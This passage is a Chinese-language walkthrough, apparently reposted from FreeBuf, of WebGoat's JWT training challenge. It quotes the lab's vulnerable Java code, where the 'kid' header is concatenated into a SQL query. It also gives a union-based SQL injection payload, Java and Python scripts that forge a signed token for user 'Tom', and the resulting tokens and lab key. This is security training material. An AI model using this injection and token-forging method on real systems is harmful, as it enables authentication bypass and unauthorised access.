String username = (String) claims.get("username"); if ("Jerry".equals(username)) { return trackProgress(failed().feedback("jwt-final-jerry-account").build());
} if ("Tom".equals(username)) { return trackProgress(success().build());
} else { return trackProgress(failed().feedback("jwt-final-not-tom").build());
}
} catch (JwtException e) { return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build());
}
}
}
}
重点关注resetVotes方法:
校验参数token是否为空
解析token:
Jwts.parser().setSigningKeyResolver(自定义方法获取签名KEY).parseClaimsJws(token);
自定义方法:
从JwsHeader中获取“kid”直接插入sql查询语句中,存在sql injection,将查看结果返回作为KEY进行解析。
获取解析后的JWT body中的username,若为Tom,则成功!
ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
while (rs.next()) {
return TextCodec.BASE64.decode(rs.getString(1));
@PostMapping("delete") public @ResponseBody AttackResult resetVotes(@RequestParam("token") String token) { if (StringUtils.isEmpty(token)) { return trackProgress(failed().feedback("jwt-invalid-token").build());
} else { try { final String[] errorMessage = {null};
Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() { @Override public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) { final String kid = (String) header.get("kid"); try {
Connection connection = DatabaseUtilities.getConnection(webSession);
ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'"); while (rs.next()) { return TextCodec.BASE64.decode(rs.getString(1));
}
} catch (SQLException e) {
errorMessage[0] = e.getMessage();
} return null;
}
}).parseClaimsJws(token); if (errorMessage[0] != null) { return trackProgress(failed().output(errorMessage[0]).build());
}
Claims claims = (Claims) jwt.getBody();
String username = (String) claims.get("username"); if ("Jerry".equals(username)) { return trackProgress(failed().feedback("jwt-final-jerry-account").build());
} if ("Tom".equals(username)) { return trackProgress(success().build());
} else { return trackProgress(failed().feedback("jwt-final-not-tom").build());
}
} catch (JwtException e) { return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build());
}
}
}
收集到的信息:
1.JWT中原始数据: “kid”: “webgoat_key”
sql语句:”SELECT key FROM jwt_keys WHERE id = ‘” + kid + “‘”;
那么就是说明,jwt_keys表中有一个id的值是:“webgoat_key”
2.Jwts.parser().setSigningKeyResolver(自定义方法获取签名KEY).parseClaimsJws(token);//通过自定义方法获取签名key然后对token进行JWT解析
3.JWT中username要等于Tom
思路:
篡改JWT:
利用sql inject,控制查询语句的查询值来控制JWT的密钥,从而伪造JWT,完成任务。
步骤:
1.从收集的信息中可以构造出sql语句 select id from jwt_keys where id =’webgoat_key’;这个查询结果会输出’webgoat_key’,所以在https://jwt.io/#debugger篡改JWT中的”kid“: “y’ and 1=2 union select id from jwt_keys where id =’webgoat_key”;签名设置为webgoat_key
2.在payload的username篡改成Tom
3.提交篡改后的JWT进行验证。
失败了。那就来跟踪一下代码执行的情况,定位问题吧。

sql injection的payload确实进来了。
执行的结果也和我们设想的一样,目前没有问题。所以问题就在签名部分没有通过。(值得注意:尽管签名校验没通过,但sql injection的payload已经执行)

Java版本
import java.util.ArrayList;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts; public class JWTcryptotest { public static final String JWT_PASSWORD = "webgoat_key"; #public static byte[] JWT_PASSWORD = TextCodec.BASE64.decode("webgoat_key");//这样也可以,得出的密文一样。 public static void createJWTToken() {
Claims claims = Jwts.claims();
claims.put("iat", 1529569536);
claims.put("iss", "WebGoat Token Builder");
claims.put("exp", 1618905304);
claims.put("aud", "webgoat.org");
claims.put("sub", "jerry@webgoat.com");
claims.put("username", "Tom");
claims.put("Email", "jerry@webgoat.com");
ArrayList<String> roleList = new ArrayList<String>();
roleList.add("Cat");
claims.put("Role", roleList);
String token = Jwts.builder().setClaims(claims).setHeaderParam("typ", "JWT")
.setHeaderParam("kid", "123' and 1=2 union select id FROM jwt_keys WHERE id='webgoat_key")
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS256, JWT_PASSWORD).compact();
System.out.println(token);
} public static void main(String[] args) {
JWTcryptotest.createJWTToken();
}
}
eyJ0eXAiOiJKV1QiLCJraWQiOiIxMjMnIGFuZCAxPTIgdW5pb24gc2VsZWN0IGlkIEZST00gand0X2tleXMgV0hFUkUgaWQ9J3dlYmdvYXRfa2V5IiwiYWxnIjoiSFMyNTYifQ.eyJpYXQiOjE1Mjk1Njk1MzYsImlzcyI6IldlYkdvYXQgVG9rZW4gQnVpbGRlciIsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.HThQlDWlvbshn4BnzQ_2RU1DVmYl4dnfiEJmPWpA0b4
这样就通过了。
但在jwt.io中未能通过
关于python脚本的方式,根据调试我们也可以知道,在”kid”: “webgoat_key”的时候,签名key是:”qwertyqwerty1234″,使用如下脚本得出JWT:
#!/usr/bin/env python # -*- coding:utf-8 -*- # author:jack # datetime:2019-09-26 17:06 # software: PyCharm import jwt import base64 # payload token_dict = { "iat": 1529569536, "iss": "WebGoat Token Builder", "exp": 1618905304, "aud": "webgoat.org", "sub": "jerry@webgoat.com", "username": "Tom", "Email": "jerry@webgoat.com", "Role": ["Cat"]
}
key = base64.b64decode("qwertyqwerty1234") # headers headers = { "typ": "JWT", # "kid": "123' and 1=2 union select id FROM jwt_keys WHERE id='webgoat_key", "kid": "webgoat_key", "alg": "HS256" } # 调用jwt库,生成json web token jwt_token = jwt.encode(token_dict, # payload, 有效载体 key, # 进行加密签名的密钥 algorithm="HS256", # 指明签名算法方式, 默认也是HS256 headers=headers # json web token 数据结构包含两部分, payload(有效载体), headers(标头) ).decode('ascii') # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str print(jwt_token)
签名:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6IndlYmdvYXRfa2V5In0.eyJpYXQiOjE1Mjk1Njk1MzYsImlzcyI6IldlYkdvYXQgVG9rZW4gQnVpbGRlciIsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.6cuviRab-boP6raqinzKYuUmHUM4PpPWsnXAQMv3738
放到请求包中也能通过,说明签名没问题。
jwt.io中也通过了。
但将key设成:webgoat_key的时候,会抛出错误:
这个时候你可能会问,为什么key要先做base64 decode处理?
因为下方代码块中的:
return TextCodec.BASE64.decode(rs.getString(1));
final String[] errorMessage = {null};
Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {
@Override public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
final String kid = (String) header.get("kid"); try {
Connection connection = DatabaseUtilities.getConnection(webSession);
ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'"); while (rs.next()) {
System.out.println(rs.getString(1));
System.out.println(TextCodec.BASE64.decode(rs.getString(1))); return TextCodec.BASE64.decode(rs.getString(1));
}
} catch (SQLException e) {
errorMessage[0] = e.getMessage();
} return null;
}
}).parseClaimsJws(token);
总结:
1.对JWT,signature key爆破和篡改JWT的写法需要根据源码来相应设置。
2.对JWT,signature key爆破可尝试直接明文和base64encode两种(不排除其他种可能);上文例子中,对明文key进行base64decode后作为signature key来签名,这种情况非常少见。
3.refresh_token越权篡改他人access_token问题值得注意,refresh_token出现频率低,测试人员漏测几率高。
4.可在JWT的headers,payload部分的参数值中插入常见漏洞相关payload去尝试,尽管我们不知道signature key。
本篇到此结束,感谢您的翻阅,期待您的宝贵意见。
*本文作者:DSO观星市场部,转自FreeBuf